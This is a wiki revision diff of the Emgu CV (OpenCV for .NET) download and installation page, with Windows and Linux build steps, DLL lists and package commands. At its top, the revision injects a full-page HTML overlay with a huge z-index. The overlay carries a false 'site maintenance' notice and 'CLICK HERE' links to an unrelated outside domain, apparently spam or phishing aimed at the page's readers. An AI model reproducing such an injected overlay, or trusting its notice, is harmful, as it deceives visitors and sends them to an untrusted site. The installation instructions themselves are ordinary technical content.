Difference between revisions of "Download And Installation"

From Emgu CV: OpenCV in .NET (C#, VB, C++ and more)
Jump to: navigation, search
(updated build instruction to Ubuntu 10.10)
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://ecydoxe.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://ecydoxe.co.cc CLICK HERE]=
 +
----
 +
</div>
 
==Windows==
 
==Windows==
 
===Getting the Dependency===
 
===Getting the Dependency===
 
*[[Emgu CV]] use WCF(Windows Communication Foundation) therefore requires .Net 3.0
 
*[[Emgu CV]] use WCF(Windows Communication Foundation) therefore requires .Net 3.0
*For Version 2.0+, the bundled OpenCV 2.0 binary is build with Visual Studio 2008, you will needs to installed '''[http://www.microsoft.com/downloads/details.aspx?familyid=A5C84275-3B97-4AB7-A40D-3802B2AF5FC2&displaylang=en MSVCRT 9.0 SP1]''' to resolve the dependency issue.
+
*For Version 2.0+, the bundled OpenCV 2.0 binary is build with Visual Studio 2008, you will needs to installed '''[http://www.microsoft.com/downloads/details.aspx?familyid=A5C84275-3B97-4AB7-A40D-3802B2AF5FC2&amp;displaylang=en MSVCRT 9.0 SP1]''' to resolve the dependency issue.
*For Version 1.5, the bundled OpenCV pre1.1 binary is build with Visual Studio 2005, you will needs to installed '''[http://www.microsoft.com/downloads/details.aspx?familyid=200B2FD9-AE1A-4A14-984D-389C36F85647&displaylang=en MSVCRT 8.0 SP1]''' to resolve the dependency issue.
+
*For Version 1.5, the bundled OpenCV pre1.1 binary is build with Visual Studio 2005, you will needs to installed '''[http://www.microsoft.com/downloads/details.aspx?familyid=200B2FD9-AE1A-4A14-984D-389C36F85647&amp;displaylang=en MSVCRT 8.0 SP1]''' to resolve the dependency issue.
  
 
===Building the Examples===
 
===Building the Examples===
Line 12: Line 20:
 
**If you are using Visual Studio 2005, browse to VS2005_MonoDevelop
 
**If you are using Visual Studio 2005, browse to VS2005_MonoDevelop
 
**If you are using Visual Studio 2008, browse to VS2008
 
**If you are using Visual Studio 2008, browse to VS2008
*Open <code>Emgu.CV.Example.sln</code> and build the solution. At this point, you should be able to run the example programs.
+
*Open &lt;code>Emgu.CV.Example.sln&lt;/code> and build the solution. At this point, you should be able to run the example programs.
  
 
===Creating a New Project in Visual Studio===
 
===Creating a New Project in Visual Studio===
Line 18: Line 26:
 
* Download and extract the binary files package '''Emgu.CV.Windows.Binary-{version}.zip''' (They are compiled from [[download-url#Source | source]] on Windows using MsBuild)
 
* Download and extract the binary files package '''Emgu.CV.Windows.Binary-{version}.zip''' (They are compiled from [[download-url#Source | source]] on Windows using MsBuild)
 
*Create a new Visual Studio project or use an existing one
 
*Create a new Visual Studio project or use an existing one
*Add the 3 files <code>zlib.net.dll</code>, <code>Emgu.Utils.dll</code> and <code>Emgu.CV.dll</code> to ''References'' of the project. If you needs to use the Machine Learning library, include <code>Emgu.CV.ML.dll</code> to ''References'' as well.
+
*Add the 3 files &lt;code>zlib.net.dll&lt;/code>, &lt;code>Emgu.Utils.dll&lt;/code> and &lt;code>Emgu.CV.dll&lt;/code> to ''References'' of the project. If you needs to use the Machine Learning library, include &lt;code>Emgu.CV.ML.dll&lt;/code> to ''References'' as well.
*Copy the [[OpenCV]] dll files: <code>cvXXX.dll</code>, <code>cvauxXXX.dll</code>, <code>cxcoreXXX.dll</code>, <code>highguiXXX.dll</code>, <code>opencv_ffmpegXXX.dll</code>, <code>mlXXX.dll</code> and <code>cvextern.dll</code> to the execution directory, where <code>XXX</code> is the OpenCV version number.
+
*Copy the [[OpenCV]] dll files: &lt;code>cvXXX.dll&lt;/code>, &lt;code>cvauxXXX.dll&lt;/code>, &lt;code>cxcoreXXX.dll&lt;/code>, &lt;code>highguiXXX.dll&lt;/code>, &lt;code>opencv_ffmpegXXX.dll&lt;/code>, &lt;code>mlXXX.dll&lt;/code> and &lt;code>cvextern.dll&lt;/code> to the execution directory, where &lt;code>XXX&lt;/code> is the OpenCV version number.
 
*Optionally put the following lines in the top of your code to include the Emgu.CV namespace.
 
*Optionally put the following lines in the top of your code to include the Emgu.CV namespace.
<code>
+
&lt;code>
 
  using Emgu.CV;
 
  using Emgu.CV;
 
  using Emgu.CV.Structure;
 
  using Emgu.CV.Structure;
</code>
+
&lt;/code>
  
 
If you use the Machine Learning library, you mights wants to include the following as well
 
If you use the Machine Learning library, you mights wants to include the following as well
<code>
+
&lt;code>
 
  using Emgu.CV.ML;
 
  using Emgu.CV.ML;
</code>
+
&lt;/code>
  
 
*Follow the [[Tutorial]] to learn how to use Emgu CV. The [[Hello_World_in_CSharp | "Hello, World" Example]] is a good starting point.
 
*Follow the [[Tutorial]] to learn how to use Emgu CV. The [[Hello_World_in_CSharp | "Hello, World" Example]] is a good starting point.
Line 37: Line 45:
  
 
==== Have you installed MSVCRT? ====
 
==== Have you installed MSVCRT? ====
*For Version 2.0+, the bundled OpenCV 2.0 binary is build with Visual Studio 2008, you will needs to installed '''[http://www.microsoft.com/downloads/details.aspx?familyid=A5C84275-3B97-4AB7-A40D-3802B2AF5FC2&displaylang=en MSVCRT 9.0 SP1]''' to resolve the dependency issue.
+
*For Version 2.0+, the bundled OpenCV 2.0 binary is build with Visual Studio 2008, you will needs to installed '''[http://www.microsoft.com/downloads/details.aspx?familyid=A5C84275-3B97-4AB7-A40D-3802B2AF5FC2&amp;displaylang=en MSVCRT 9.0 SP1]''' to resolve the dependency issue.
*For Version 1.5, the bundled OpenCV pre1.1 binary is build with Visual Studio 2005, you will needs to installed '''[http://www.microsoft.com/downloads/details.aspx?familyid=200B2FD9-AE1A-4A14-984D-389C36F85647&displaylang=en MSVCRT 8.0 SP1]''' to resolve the dependency issue.
+
*For Version 1.5, the bundled OpenCV pre1.1 binary is build with Visual Studio 2005, you will needs to installed '''[http://www.microsoft.com/downloads/details.aspx?familyid=200B2FD9-AE1A-4A14-984D-389C36F85647&amp;displaylang=en MSVCRT 8.0 SP1]''' to resolve the dependency issue.
  
 
==== Have you copied the [[OpenCV]] dlls to the execution directory? ====
 
==== Have you copied the [[OpenCV]] dlls to the execution directory? ====
 
* Make sure the unmanaged DLLs are in the execution directory.  
 
* Make sure the unmanaged DLLs are in the execution directory.  
**For Emgu CV version <= 2.1, this means the following dlls: <code>cvXXX.dll, cvauxXXX.dll, cxcoreXXX.dll, highguiXXX.dll, opencv_ffmpegXXX.dll, mlXXX.dll and cvextern.dll</code> where <code>XXX</code> is the OpenCV version number.  
+
**For Emgu CV version &lt;= 2.1, this means the following dlls: &lt;code>cvXXX.dll, cvauxXXX.dll, cxcoreXXX.dll, highguiXXX.dll, opencv_ffmpegXXX.dll, mlXXX.dll and cvextern.dll&lt;/code> where &lt;code>XXX&lt;/code> is the OpenCV version number.  
**For Emgu CV version >= 2.2 this means the following dlls: <code>opencv_calib3dXXX.dll, opencv_contribXXX.dll, opencv_coreXXX.dll, opencv_features2dXXX.dll, opencv_highguiXXX.dll, opencv_imgprocXXX.dll, opencv_legacyXXX.dll, opencv_mlXXX.dll, opencv_objectdetectXXX.dll, opencv_videoXXX.dll</code> where <code>XXX</code> is the OpenCV version number.  
+
**For Emgu CV version >= 2.2 this means the following dlls: &lt;code>opencv_calib3dXXX.dll, opencv_contribXXX.dll, opencv_coreXXX.dll, opencv_features2dXXX.dll, opencv_highguiXXX.dll, opencv_imgprocXXX.dll, opencv_legacyXXX.dll, opencv_mlXXX.dll, opencv_objectdetectXXX.dll, opencv_videoXXX.dll&lt;/code> where &lt;code>XXX&lt;/code> is the OpenCV version number.  
  
 
*The best way to set up your project is:
 
*The best way to set up your project is:
Line 75: Line 83:
 
==== Building the unmanaged code ====
 
==== Building the unmanaged code ====
 
===== 32-Bit Windows =====
 
===== 32-Bit Windows =====
Run <code>Build_Binary_x86.bat</code> script located in the trunk folder of SVN.
+
Run &lt;code>Build_Binary_x86.bat&lt;/code> script located in the trunk folder of SVN.
 
===== 64-Bit Windows =====
 
===== 64-Bit Windows =====
Run <code>Build_Binary_x86-64.bat</code> script located in the trunk folder of SVN.
+
Run &lt;code>Build_Binary_x86-64.bat&lt;/code> script located in the trunk folder of SVN.
  
 
==== Building the managed code ====
 
==== Building the managed code ====
Line 83: Line 91:
 
**If you are using Visual Studio 2005, browse to VS2005_MonoDevelop
 
**If you are using Visual Studio 2005, browse to VS2005_MonoDevelop
 
**If you are using Visual Studio 2008, browse to VS2008
 
**If you are using Visual Studio 2008, browse to VS2008
*Open <code>Emgu.CV.sln</code> and build the solution.
+
*Open &lt;code>Emgu.CV.sln&lt;/code> and build the solution.
 
At this point, the Emgu CV dlls should be available under bin folder in the top most directory.
 
At this point, the Emgu CV dlls should be available under bin folder in the top most directory.
  
Line 90: Line 98:
 
====Fedora 12====
 
====Fedora 12====
 
* [[OpenCV]]
 
* [[OpenCV]]
** We will build a custom version of OpenCV in the next step. It is recommended to remove any OpenCV package if it is installed on your machine. You should remove OpenCV by running as root <pre> yum remove opencv </pre>  
+
** We will build a custom version of OpenCV in the next step. It is recommended to remove any OpenCV package if it is installed on your machine. You should remove OpenCV by running as root &lt;pre> yum remove opencv &lt;/pre>  
  
 
* [[Mono]]
 
* [[Mono]]
Line 100: Line 108:
  
 
* Installing the dependencies
 
* Installing the dependencies
You can install the dependencies by running as root <pre> yum install mono-core mono-extras mono-devel mono-wcf gcc-c++ cmake svn libpng-devel libjpeg-devel libtiff-devel gtk2-devel</pre>
+
You can install the dependencies by running as root &lt;pre> yum install mono-core mono-extras mono-devel mono-wcf gcc-c++ cmake svn libpng-devel libjpeg-devel libtiff-devel gtk2-devel&lt;/pre>
  
 
====Ubuntu 10.10====
 
====Ubuntu 10.10====
Line 111: Line 119:
 
[[Emgu CV]] has adapted to use cmake to compile all it source code (as well as [[OpenCV]]).  
 
[[Emgu CV]] has adapted to use cmake to compile all it source code (as well as [[OpenCV]]).  
 
* Installing the prerequisites
 
* Installing the prerequisites
You can install the prerequisites by running <pre>sudo apt-get install build-essential monodevelop libmono-wcf3.0-cil libtiff4-dev libgeotiff-dev libgtk2.0-dev libgstreamer0.10-dev libavcodec-dev libswscale-dev libavformat-dev libopenexr-dev libjasper-dev libdc1394-22-dev libv4l-dev libqt4-opengl-dev libeigen2-dev cmake-curses-gui svn</pre>
+
You can install the prerequisites by running &lt;pre>sudo apt-get install build-essential monodevelop libmono-wcf3.0-cil libtiff4-dev libgeotiff-dev libgtk2.0-dev libgstreamer0.10-dev libavcodec-dev libswscale-dev libavformat-dev libopenexr-dev libjasper-dev libdc1394-22-dev libv4l-dev libqt4-opengl-dev libeigen2-dev cmake-curses-gui svn&lt;/pre>
  
 
===Building from Source===
 
===Building from Source===
 
*To build from source, you will need a SVN client to check out the source code from SourceForge. For more information, see [[SVN]]. The following command can be used to check out the source:
 
*To build from source, you will need a SVN client to check out the source code from SourceForge. For more information, see [[SVN]]. The following command can be used to check out the source:
<pre>svn co https://emgucv.svn.sourceforge.net/svnroot/emgucv/trunk emgucv </pre>
+
&lt;pre>svn co https://emgucv.svn.sourceforge.net/svnroot/emgucv/trunk emgucv &lt;/pre>
 
*Go to emgucv directory
 
*Go to emgucv directory
<pre>cd emgucv</pre>
+
&lt;pre>cd emgucv&lt;/pre>
  
 
*Use cmake to generate make file
 
*Use cmake to generate make file
<pre>cmake -DBUILD_NEW_PYTHON_SUPPORT:BOOL=FALSE -DBUILD_TESTS:BOOL=FALSE .</pre>
+
&lt;pre>cmake -DBUILD_NEW_PYTHON_SUPPORT:BOOL=FALSE -DBUILD_TESTS:BOOL=FALSE .&lt;/pre>
  
 
This will generate make file for [[Emgu CV]]
 
This will generate make file for [[Emgu CV]]
 
*Build [[Emgu CV]] by calling  
 
*Build [[Emgu CV]] by calling  
<pre>make</pre>
+
&lt;pre>make&lt;/pre>
  
 
Sit back and wait as this will build [[OpenCV]], as well as cvextern.so, Emgu.Util.dll, Emgu.CV.dll, Emgu.CV.UI.dll and Emgu.CV.ML.dll
 
Sit back and wait as this will build [[OpenCV]], as well as cvextern.so, Emgu.Util.dll, Emgu.CV.dll, Emgu.CV.UI.dll and Emgu.CV.ML.dll
  
 
*Now go to the bin folder  
 
*Now go to the bin folder  
<pre>cd bin</pre>
+
&lt;pre>cd bin&lt;/pre>
 
*make sure mono can load the dynamic library from the current location by typing
 
*make sure mono can load the dynamic library from the current location by typing
<pre>export LD_LIBRARY_PATH=.:$LD_LIBRARY_PATH</pre>
+
&lt;pre>export LD_LIBRARY_PATH=.:$LD_LIBRARY_PATH&lt;/pre>
 
*Try to run the example  
 
*Try to run the example  
<pre>mono Example.PlanarSubdivision.monoexe</pre>
+
&lt;pre>mono Example.PlanarSubdivision.monoexe&lt;/pre>
  
 
You should see the planar subdivision window
 
You should see the planar subdivision window
Line 140: Line 148:
 
=== System.DllNotFoundException ===
 
=== System.DllNotFoundException ===
 
If you encounter this exception during  
 
If you encounter this exception during  
<pre>mono Example.PlanarSubdivision.monoexe</pre>
+
&lt;pre>mono Example.PlanarSubdivision.monoexe&lt;/pre>
Your OpenCV build might be incomplete (e.g. GTK+ 2.x devel library is missing). To trace the cause of the error, run <pre>MONO_LOG_LEVEL=debug mono Example.PlanarSubdivision.monoexe</pre> and exam the error message.
+
Your OpenCV build might be incomplete (e.g. GTK+ 2.x devel library is missing). To trace the cause of the error, run &lt;pre>MONO_LOG_LEVEL=debug mono Example.PlanarSubdivision.monoexe&lt;/pre> and exam the error message.
  
 
===Building Installable Package===
 
===Building Installable Package===
 
====RPM Package for Fedora 12====
 
====RPM Package for Fedora 12====
 
*Make sure [[Download_And_Installation#Fedora 12|the dependency]] is satisfied.  
 
*Make sure [[Download_And_Installation#Fedora 12|the dependency]] is satisfied.  
*Make sure that cmake >= 2.8.1 is installed. You can do this by running as root <pre>yum --enablerepo=rawhide install cmake</pre>
+
*Make sure that cmake >= 2.8.1 is installed. You can do this by running as root &lt;pre>yum --enablerepo=rawhide install cmake&lt;/pre>
 
*Check out the source from SVN and go the the emgucv source folder
 
*Check out the source from SVN and go the the emgucv source folder
*Configure the package with <pre>cmake -DBUILD_NEW_PYTHON_SUPPORT:BOOL=FALSE -DEMGU_CV_EXAMPLE_BUILD:BOOL=FALSE -DBUILD_TESTS:BOOL=FALSE .</pre>
+
*Configure the package with &lt;pre>cmake -DBUILD_NEW_PYTHON_SUPPORT:BOOL=FALSE -DEMGU_CV_EXAMPLE_BUILD:BOOL=FALSE -DBUILD_TESTS:BOOL=FALSE .&lt;/pre>
*Create a rpm package by running as root <pre>make package</pre>
+
*Create a rpm package by running as root &lt;pre>make package&lt;/pre>
 
*You should get a libemgucv-{VERSION}.{SUBVERSION}-{arch}.rpm file which includes
 
*You should get a libemgucv-{VERSION}.{SUBVERSION}-{arch}.rpm file which includes
 
** OpenCV library and documentations
 
** OpenCV library and documentations
Line 157: Line 165:
 
*Make sure [[Download_And_Installation#Ubuntu_10.10|the dependency]] is satisfied.  
 
*Make sure [[Download_And_Installation#Ubuntu_10.10|the dependency]] is satisfied.  
 
*Check out the source from SVN and go the the emgucv source folder
 
*Check out the source from SVN and go the the emgucv source folder
*Configure the package with <pre>cmake -DBUILD_NEW_PYTHON_SUPPORT:BOOL=FALSE -DEMGU_CV_EXAMPLE_BUILD:BOOL=FALSE -DBUILD_TESTS:BOOL=FALSE .</pre>
+
*Configure the package with &lt;pre>cmake -DBUILD_NEW_PYTHON_SUPPORT:BOOL=FALSE -DEMGU_CV_EXAMPLE_BUILD:BOOL=FALSE -DBUILD_TESTS:BOOL=FALSE .&lt;/pre>
*Create a debian package with <pre>sudo make package</pre>
+
*Create a debian package with &lt;pre>sudo make package&lt;/pre>
 
*You should get a libemgucv-{VERSION}.{SUBVERSION}-{arch}.deb file which includes
 
*You should get a libemgucv-{VERSION}.{SUBVERSION}-{arch}.deb file which includes
 
** OpenCV library and documentations
 
** OpenCV library and documentations
 
** Emgu CV library and its dependencies (including ZedGraph)
 
** Emgu CV library and its dependencies (including ZedGraph)

Revision as of 03:29, 24 November 2010



Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page


CLICK HERE


Windows

Getting the Dependency

  • Emgu CV use WCF(Windows Communication Foundation) therefore requires .Net 3.0
  • For Version 2.0+, the bundled OpenCV 2.0 binary is build with Visual Studio 2008, you will needs to installed MSVCRT 9.0 SP1 to resolve the dependency issue.
  • For Version 1.5, the bundled OpenCV pre1.1 binary is build with Visual Studio 2005, you will needs to installed MSVCRT 8.0 SP1 to resolve the dependency issue.

Building the Examples

  • Follow this link to the file server on Source Forge.
  • Download and extract the windows installer.
  • Install the software
  • Go to the Solution folder
    • If you are using Visual Studio 2005, browse to VS2005_MonoDevelop
    • If you are using Visual Studio 2008, browse to VS2008
  • Open <code>Emgu.CV.Example.sln</code> and build the solution. At this point, you should be able to run the example programs.

Creating a New Project in Visual Studio

To use the framework in Visual Studio, you need to

  • Download and extract the binary files package Emgu.CV.Windows.Binary-{version}.zip (They are compiled from source on Windows using MsBuild)
  • Create a new Visual Studio project or use an existing one
  • Add the 3 files <code>zlib.net.dll</code>, <code>Emgu.Utils.dll</code> and <code>Emgu.CV.dll</code> to References of the project. If you needs to use the Machine Learning library, include <code>Emgu.CV.ML.dll</code> to References as well.
  • Copy the OpenCV dll files: <code>cvXXX.dll</code>, <code>cvauxXXX.dll</code>, <code>cxcoreXXX.dll</code>, <code>highguiXXX.dll</code>, <code>opencv_ffmpegXXX.dll</code>, <code>mlXXX.dll</code> and <code>cvextern.dll</code> to the execution directory, where <code>XXX</code> is the OpenCV version number.
  • Optionally put the following lines in the top of your code to include the Emgu.CV namespace.

<code>

using Emgu.CV;
using Emgu.CV.Structure;

</code>

If you use the Machine Learning library, you mights wants to include the following as well <code>

using Emgu.CV.ML;

</code>

The type initializer for 'Emgu.CV.CvInvoke' threw an exception.

If you see this exception, please check the following

Have you installed MSVCRT?

  • For Version 2.0+, the bundled OpenCV 2.0 binary is build with Visual Studio 2008, you will needs to installed MSVCRT 9.0 SP1 to resolve the dependency issue.
  • For Version 1.5, the bundled OpenCV pre1.1 binary is build with Visual Studio 2005, you will needs to installed MSVCRT 8.0 SP1 to resolve the dependency issue.

Have you copied the OpenCV dlls to the execution directory?

  • Make sure the unmanaged DLLs are in the execution directory.
    • For Emgu CV version <= 2.1, this means the following dlls: <code>cvXXX.dll, cvauxXXX.dll, cxcoreXXX.dll, highguiXXX.dll, opencv_ffmpegXXX.dll, mlXXX.dll and cvextern.dll</code> where <code>XXX</code> is the OpenCV version number.
    • For Emgu CV version >= 2.2 this means the following dlls: <code>opencv_calib3dXXX.dll, opencv_contribXXX.dll, opencv_coreXXX.dll, opencv_features2dXXX.dll, opencv_highguiXXX.dll, opencv_imgprocXXX.dll, opencv_legacyXXX.dll, opencv_mlXXX.dll, opencv_objectdetectXXX.dll, opencv_videoXXX.dll</code> where <code>XXX</code> is the OpenCV version number.
  • The best way to set up your project is:
    • Copy the unmanaged DLLs to your project folder
    • Right click on the project, click Add->Existing Item and select all unmanaged DLLs. Add them to the project.
    • For each of the included Dlls, left click on it, find the "Copy to Output Directory" option and select "Copy if newer"

Are you running a 32-Bit OS?

The windows installer is only available for 32-Bit windows. If you are using a 64-bit OS, there are three possible ways to resolve this issue:

  • You can download the 64bit binary only zip package from sourceforge and add it to your project.
  • You can also recompile OpenCV from source for 64-bit platform. See the instruction for building from SVN
  • Alternatively you can force your .NET application to run in 32bit mode, even on a 64-bit OS. To do this, in the configuration page of your executable project, select Platform Target as 'x86'.

Are you missing any dependency?

Download Dependency Walker and use it to open the "cvextern.dll" file. Check if any dependency is missing.

I have checked all of above but I still got the Exception

In this case, please try to build and run the examples. After building the examples, try to run the "Hello World" Program.

If "Hello World" runs without any problem, compare it with you project, find the difference in configuration and fix it.

If "Hello World" get the same "The type initializer for 'Emgu.CV.CvInvoke' threw an exception." message, try to find out the InnerException and report it to the discussion forum

Building from SVN

If you wants to build the development version of Emgu CV from source code, you can to get it from SVN following instructions on This page.

Prerequisite

  • You will need to install CMAKE in-order to build the unmanaged C++ code (OpenCV and cvextern.dll).
  • You will need either Visual Studio 2010 / Visual Studio 2008 / Visual Studio 2005 to build the Managed code (Emgu CV)

Building the unmanaged code

32-Bit Windows

Run <code>Build_Binary_x86.bat</code> script located in the trunk folder of SVN.

64-Bit Windows

Run <code>Build_Binary_x86-64.bat</code> script located in the trunk folder of SVN.

Building the managed code

  • Browse to the Solution Folder
    • If you are using Visual Studio 2005, browse to VS2005_MonoDevelop
    • If you are using Visual Studio 2008, browse to VS2008
  • Open <code>Emgu.CV.sln</code> and build the solution.

At this point, the Emgu CV dlls should be available under bin folder in the top most directory.

Linux

Getting the Dependency

Fedora 12

  • OpenCV
    • We will build a custom version of OpenCV in the next step. It is recommended to remove any OpenCV package if it is installed on your machine. You should remove OpenCV by running as root <pre> yum remove opencv </pre>
  • Mono
    • You will need Mono >= 2.2. Mono 2.4 is recommended.
    • Emgu CV library use WCF (Windows Communication Foundation) and therefore also requires mono-wcf.
  • CMake

Emgu CV has adapted to use cmake to compile all it source code (as well as OpenCV). Make sure you have cmake installed.

  • Installing the dependencies

You can install the dependencies by running as root <pre> yum install mono-core mono-extras mono-devel mono-wcf gcc-c++ cmake svn libpng-devel libjpeg-devel libtiff-devel gtk2-devel</pre>

Ubuntu 10.10

  • Mono
    • You will need Mono >= 2.6
    • Emgu CV library use WCF (Windows Communication Foundation) and therefore also requires libmono-wcf3.0-cil.
  • OpenCV
    • We will build a custom version of OpenCV in the next step. It is recommended to remove any OpenCV package if it is installed on your machine.
  • CMake

Emgu CV has adapted to use cmake to compile all it source code (as well as OpenCV).

  • Installing the prerequisites

You can install the prerequisites by running <pre>sudo apt-get install build-essential monodevelop libmono-wcf3.0-cil libtiff4-dev libgeotiff-dev libgtk2.0-dev libgstreamer0.10-dev libavcodec-dev libswscale-dev libavformat-dev libopenexr-dev libjasper-dev libdc1394-22-dev libv4l-dev libqt4-opengl-dev libeigen2-dev cmake-curses-gui svn</pre>

Building from Source

  • To build from source, you will need a SVN client to check out the source code from SourceForge. For more information, see SVN. The following command can be used to check out the source:

<pre>svn co https://emgucv.svn.sourceforge.net/svnroot/emgucv/trunk emgucv </pre>

  • Go to emgucv directory

<pre>cd emgucv</pre>

  • Use cmake to generate make file

<pre>cmake -DBUILD_NEW_PYTHON_SUPPORT:BOOL=FALSE -DBUILD_TESTS:BOOL=FALSE .</pre>

This will generate make file for Emgu CV

<pre>make</pre>

Sit back and wait as this will build OpenCV, as well as cvextern.so, Emgu.Util.dll, Emgu.CV.dll, Emgu.CV.UI.dll and Emgu.CV.ML.dll

  • Now go to the bin folder

<pre>cd bin</pre>

  • make sure mono can load the dynamic library from the current location by typing

<pre>export LD_LIBRARY_PATH=.:$LD_LIBRARY_PATH</pre>

  • Try to run the example

<pre>mono Example.PlanarSubdivision.monoexe</pre>

You should see the planar subdivision window

System.DllNotFoundException

If you encounter this exception during <pre>mono Example.PlanarSubdivision.monoexe</pre> Your OpenCV build might be incomplete (e.g. GTK+ 2.x devel library is missing). To trace the cause of the error, run <pre>MONO_LOG_LEVEL=debug mono Example.PlanarSubdivision.monoexe</pre> and exam the error message.

Building Installable Package

RPM Package for Fedora 12

  • Make sure the dependency is satisfied.
  • Make sure that cmake >= 2.8.1 is installed. You can do this by running as root <pre>yum --enablerepo=rawhide install cmake</pre>
  • Check out the source from SVN and go the the emgucv source folder
  • Configure the package with <pre>cmake -DBUILD_NEW_PYTHON_SUPPORT:BOOL=FALSE -DEMGU_CV_EXAMPLE_BUILD:BOOL=FALSE -DBUILD_TESTS:BOOL=FALSE .</pre>
  • Create a rpm package by running as root <pre>make package</pre>
  • You should get a libemgucv-{VERSION}.{SUBVERSION}-{arch}.rpm file which includes
    • OpenCV library and documentations
    • Emgu CV library and its dependencies (including ZedGraph and zlib.net)

Debian Package for Ubuntu 10.10

  • Make sure the dependency is satisfied.
  • Check out the source from SVN and go the the emgucv source folder
  • Configure the package with <pre>cmake -DBUILD_NEW_PYTHON_SUPPORT:BOOL=FALSE -DEMGU_CV_EXAMPLE_BUILD:BOOL=FALSE -DBUILD_TESTS:BOOL=FALSE .</pre>
  • Create a debian package with <pre>sudo make package</pre>
  • You should get a libemgucv-{VERSION}.{SUBVERSION}-{arch}.deb file which includes
    • OpenCV library and documentations
    • Emgu CV library and its dependencies (including ZedGraph)